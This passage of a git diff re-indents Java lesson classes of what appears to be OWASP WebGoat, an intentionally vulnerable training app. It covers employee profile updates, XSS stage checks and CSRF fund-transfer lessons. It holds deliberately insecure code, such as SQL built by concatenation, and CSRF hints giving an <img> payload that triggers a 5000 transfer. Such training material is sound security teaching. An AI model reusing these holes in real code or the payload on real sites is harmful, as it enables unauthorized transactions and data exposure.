getNextPage(WebSession s) + { + return CrossSiteScripting.VIEWPROFILE_ACTION; + } - public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) - throws UnauthorizedException - { - try - { - // Note: The password field is ONLY set by ChangePassword - String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," - + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," - + " personal_description = ? WHERE userid = ?;"; - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, - ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); + public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) + throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," + + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + + " personal_description = ? WHERE userid = ?;"; + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); - ps.setString(1, employee.getFirstName()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getPersonalDescription()); - ps.setInt(13, subjectId); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } + ps.setString(1, employee.getFirstName()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getPersonalDescription()); + ps.setInt(13, subjectId); + ps.execute(); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } - public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee) - throws UnauthorizedException - { - try - { - // Note: The password field is ONLY set by ChangePassword - String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," - + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," - + " personal_description = ? WHERE userid = ?;"; - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, - ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); + public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee) + throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," + + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + + " personal_description = ? WHERE userid = ?;"; + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); - ps.setString(1, employee.getFirstName()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getPersonalDescription()); - ps.setInt(13, subjectId); - ps.executeUpdate(query); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } + ps.setString(1, employee.getFirstName()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getPersonalDescription()); + ps.setInt(13, subjectId); + ps.executeUpdate(query); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } - public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException - { - try - { - // FIXME: Cannot choose the id because we cannot guarantee uniqueness - int nextId = getNextUID(s); - String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException + { + try + { + // FIXME: Cannot choose the id because we cannot guarantee uniqueness + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; - // System.out.println("Query: " + query); + // System.out.println("Query: " + query); - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); - ps.setString(1, employee.getFirstName().toLowerCase()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getDisciplinaryActionDate()); - ps.setString(13, employee.getDisciplinaryActionNotes()); - ps.setString(14, employee.getPersonalDescription()); + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + ps.execute(); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } - public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException - { - try - { - // FIXME: Cannot choose the id because we cannot guarantee uniqueness - int nextId = getNextUID(s); - String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException + { + try + { + // FIXME: Cannot choose the id because we cannot guarantee uniqueness + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; - // System.out.println("Query: " + query); + // System.out.println("Query: " + query); - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); - ps.setString(1, employee.getFirstName().toLowerCase()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getDisciplinaryActionDate()); - ps.setString(13, employee.getDisciplinaryActionNotes()); - ps.setString(14, employee.getPersonalDescription()); + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + ps.execute(); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } - /** - * Validates that the given parameter value matches the given regular expression pattern. - * - * @param parameter - * @param pattern - * @return - * @throws ValidationException - */ - protected String validate(final String parameter, final Pattern pattern) throws ValidationException - { - Matcher matcher = pattern.matcher(parameter); - if (!matcher.matches()) throw new ValidationException(); + /** + * Validates that the given parameter value matches the given regular expression pattern. + * + * @param parameter + * @param pattern + * @return + * @throws ValidationException + */ + protected String validate(final String parameter, final Pattern pattern) throws ValidationException + { + Matcher matcher = pattern.matcher(parameter); + if (!matcher.matches()) throw new ValidationException(); - return parameter; - } + return parameter; + } - private int getNextUID(WebSession s) - { - int uid = -1; - try - { - Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); - results.first(); - uid = results.getInt("uid"); - } catch (SQLException sqle) - { - sqle.printStackTrace(); - s.setMessage("Error updating employee profile"); - } - return uid + 1; - } + private int getNextUID(WebSession s) + { + int uid = -1; + try + { + Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); + results.first(); + uid = results.getInt("uid"); + } catch (SQLException sqle) + { + sqle.printStackTrace(); + s.setMessage("Error updating employee profile"); + } + return uid + 1; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java index 1f0425ee7..7c64a43dd 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java @@ -44,170 +44,170 @@ import org.owasp.webgoat.session.WebSession; public class ViewProfile extends DefaultLessonAction { - public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } + public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + getLesson().setCurrentAction(s, getActionName()); - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); - int employeeId = -1; - try - { - // User selected employee - employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID); - } catch (ParameterNotFoundException e) - { - // May be an internally selected employee - employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID); - } + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); + int employeeId = -1; + try + { + // User selected employee + employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID); + } catch (ParameterNotFoundException e) + { + // May be an internally selected employee + employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID); + } - Employee employee = getEmployeeProfile(s, userId, employeeId); - setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); - updateLessonStatus(s, employee); - } - else - throw new UnauthenticatedException(); - } + updateLessonStatus(s, employee); + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - return CrossSiteScripting.VIEWPROFILE_ACTION; - } + public String getNextPage(WebSession s) + { + return CrossSiteScripting.VIEWPROFILE_ACTION; + } - public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; + public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException + { + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.next()) - { + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.next()) + { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), + answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */} + } catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } - public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - // Query the database to determine if this employee has access to this function - // Query the database for the profile data of the given employee if "owned" by the given - // user + public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException + { + // Query the database to determine if this employee has access to this function + // Query the database for the profile data of the given employee if "owned" by the given + // user - Employee profile = null; + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), + answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */} + } catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } - private void updateLessonStatus(WebSession s, Employee employee) - { - String stage = getStage(s); - int userId = -1; - try - { - userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); - } catch (ParameterNotFoundException pnfe) - { - } - if (CrossSiteScripting.STAGE1.equals(stage)) - { - String address1 = employee.getAddress1().toLowerCase(); - if (userId != employee.getId() && address1.indexOf("") > -1) - { - setStageComplete(s, CrossSiteScripting.STAGE1); - } - } - else if (CrossSiteScripting.STAGE3.equals(stage)) - { - String address2 = employee.getAddress1().toLowerCase(); - if (address2.indexOf("") > -1) - { - setStageComplete(s, CrossSiteScripting.STAGE3); - } - } - else if (CrossSiteScripting.STAGE4.equals(stage)) - { - if (employee.getAddress1().toLowerCase().indexOf("<") > -1) - { - setStageComplete(s, CrossSiteScripting.STAGE4); - } - } - } + private void updateLessonStatus(WebSession s, Employee employee) + { + String stage = getStage(s); + int userId = -1; + try + { + userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); + } catch (ParameterNotFoundException pnfe) + { + } + if (CrossSiteScripting.STAGE1.equals(stage)) + { + String address1 = employee.getAddress1().toLowerCase(); + if (userId != employee.getId() && address1.indexOf("") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE1); + } + } + else if (CrossSiteScripting.STAGE3.equals(stage)) + { + String address2 = employee.getAddress1().toLowerCase(); + if (address2.indexOf("") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE3); + } + } + else if (CrossSiteScripting.STAGE4.equals(stage)) + { + if (employee.getAddress1().toLowerCase().indexOf("<") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE4); + } + } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CsrfPromptByPass.java b/src/main/java/org/owasp/webgoat/lessons/CsrfPromptByPass.java index fe64075b1..8ba365064 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CsrfPromptByPass.java +++ b/src/main/java/org/owasp/webgoat/lessons/CsrfPromptByPass.java @@ -49,137 +49,137 @@ import org.owasp.webgoat.util.HtmlEncoder; */ public class CsrfPromptByPass extends CSRF { - protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount"; - protected static final String CANCEL_TRANSFER = "CANCEL"; - protected static final String CONFIRM_TRANFER = "CONFIRM"; - - /** - * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the - * web content to confirm and then execute a simulated transfer of funds. An initial request - * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. - * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. - * - * @param s - * @return Element will appropriate web content for a transfer of funds. - */ - protected Element doTransfer(WebSession s) { - String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); - ElementContainer ec = new ElementContainer(); - - if (transferFunds.length() != 0) { - - HttpSession httpSession = s.getRequest().getSession(); - Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); - - if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ - - //present transfer form - ec.addElement(new H1("Electronic Transfer:")); - String action = getLink(); - Form form = new Form(action, Form.POST); - form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); - //if this token is present we won't mark the lesson as completed - form.addElement( new Input(Input.submit)); - ec.addElement(form); - - } else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){ - - //transfer is confirmed - ec.addElement(new H1("Electronic Transfer Complete")); - ec.addElement(new StringElement("Amount Transfered: "+transferAmount)); - makeSuccess(s); - - } else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){ - - //clear any pending fund transfer - s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); - - } else if (transferFunds.length() > 0){ - - //save the transfer amount in the session - transferAmount = new Integer(transferFunds); - httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount); - - //prompt for confirmation - - ec.addElement(new H1("Electronic Transfer Confirmation:")); - ec.addElement(new StringElement("Amount to transfer: "+transferAmount)); - ec.addElement(new BR()); - String action = getLink(); - Form form = new Form(action, Form.POST); - form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER)); - form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER)); - ec.addElement(form); - } - } - // white space - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - return ec; - } + protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount"; + protected static final String CANCEL_TRANSFER = "CANCEL"; + protected static final String CONFIRM_TRANFER = "CONFIRM"; + + /** + * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the + * web content to confirm and then execute a simulated transfer of funds. An initial request + * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. + * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.length() != 0) { + + HttpSession httpSession = s.getRequest().getSession(); + Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //present transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + //if this token is present we won't mark the lesson as completed + form.addElement( new Input(Input.submit)); + ec.addElement(form); + + } else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferAmount)); + makeSuccess(s); + + } else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){ + + //clear any pending fund transfer + s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE); + + } else if (transferFunds.length() > 0){ + + //save the transfer amount in the session + transferAmount = new Integer(transferFunds); + httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount); + + //prompt for confirmation + + ec.addElement(new H1("Electronic Transfer Confirmation:")); + ec.addElement(new StringElement("Amount to transfer: "+transferAmount)); + ec.addElement(new BR()); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER)); + form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER)); + ec.addElement(form); + } + } + // white space + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + return ec; + } - /** - * @param s current web session - * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. - */ - protected boolean isTransferFunds(WebSession s) { - String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""); - if (transferFunds.length() != 0){ - return true; - } - return false; - } + /** + * @param s current web session + * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. + */ + protected boolean isTransferFunds(WebSession s) { + String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""); + if (transferFunds.length() != 0){ + return true; + } + return false; + } - @Override - protected Category getDefaultCategory() - { - return Category.XSS; - } + @Override + protected Category getDefaultCategory() + { + return Category.XSS; + } - private final static Integer DEFAULT_RANKING = new Integer(122); + private final static Integer DEFAULT_RANKING = new Integer(122); - @Override - protected Integer getDefaultRanking() - { + @Override + protected Integer getDefaultRanking() + { - return DEFAULT_RANKING; - } + return DEFAULT_RANKING; + } - @Override - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned"); - hints.add("Add java script to send the confirmation after requesting the transfer"); - hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. "); - hints.add("Include this URL in the message
<img src='" + getLink()
-				+ "&transferFunds=5000' width=\"1\" height=\"1\" />
"); + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned"); + hints.add("Add java script to send the confirmation after requesting the transfer"); + hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. "); + hints.add("Include this URL in the message
<img src='" + getLink()
+                + "&transferFunds=5000' width=\"1\" height=\"1\" />
"); - return hints; - } + return hints; + } - /** - * Gets the title attribute of the MessageBoardScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("CSRF Prompt By-Pass"); - } + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("CSRF Prompt By-Pass"); + } - public Element getCredits() - { - A partnet = new A("http://www.partnet.com"); - partnet.setPrettyPrint(false); - partnet.addElement(new StringElement("PART")); - partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); - partnet.setStyle("background-color:midnightblue;color:white"); - - ElementContainer credits = new ElementContainer(); - credits.addElement(new StringElement("Contributed by ")); - credits.addElement(partnet); - return credits; - } + public Element getCredits() + { + A partnet = new A("http://www.partnet.com"); + partnet.setPrettyPrint(false); + partnet.addElement(new StringElement("PART")); + partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); + partnet.setStyle("background-color:midnightblue;color:white"); + + ElementContainer credits = new ElementContainer(); + credits.addElement(new StringElement("Contributed by ")); + credits.addElement(partnet); + return credits; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CsrfTokenByPass.java b/src/main/java/org/owasp/webgoat/lessons/CsrfTokenByPass.java index de9d64cc2..4f76a9cf6 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CsrfTokenByPass.java +++ b/src/main/java/org/owasp/webgoat/lessons/CsrfTokenByPass.java @@ -51,115 +51,115 @@ import org.owasp.webgoat.util.HtmlEncoder; */ public class CsrfTokenByPass extends CsrfPromptByPass { - protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; - private static final String CSRFTOKEN = "CSRFToken"; - private static final int INVALID_TOKEN = 0; - private final Random random; - - public CsrfTokenByPass(){ - super(); - random = new SecureRandom(); - } - /** - * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the - * web content to confirm and then execute a simulated transfer of funds. An initial request - * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. - * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. - * - * @param s - * @return Element will appropriate web content for a transfer of funds. - */ - protected Element doTransfer(WebSession s) { - String transferFunds = 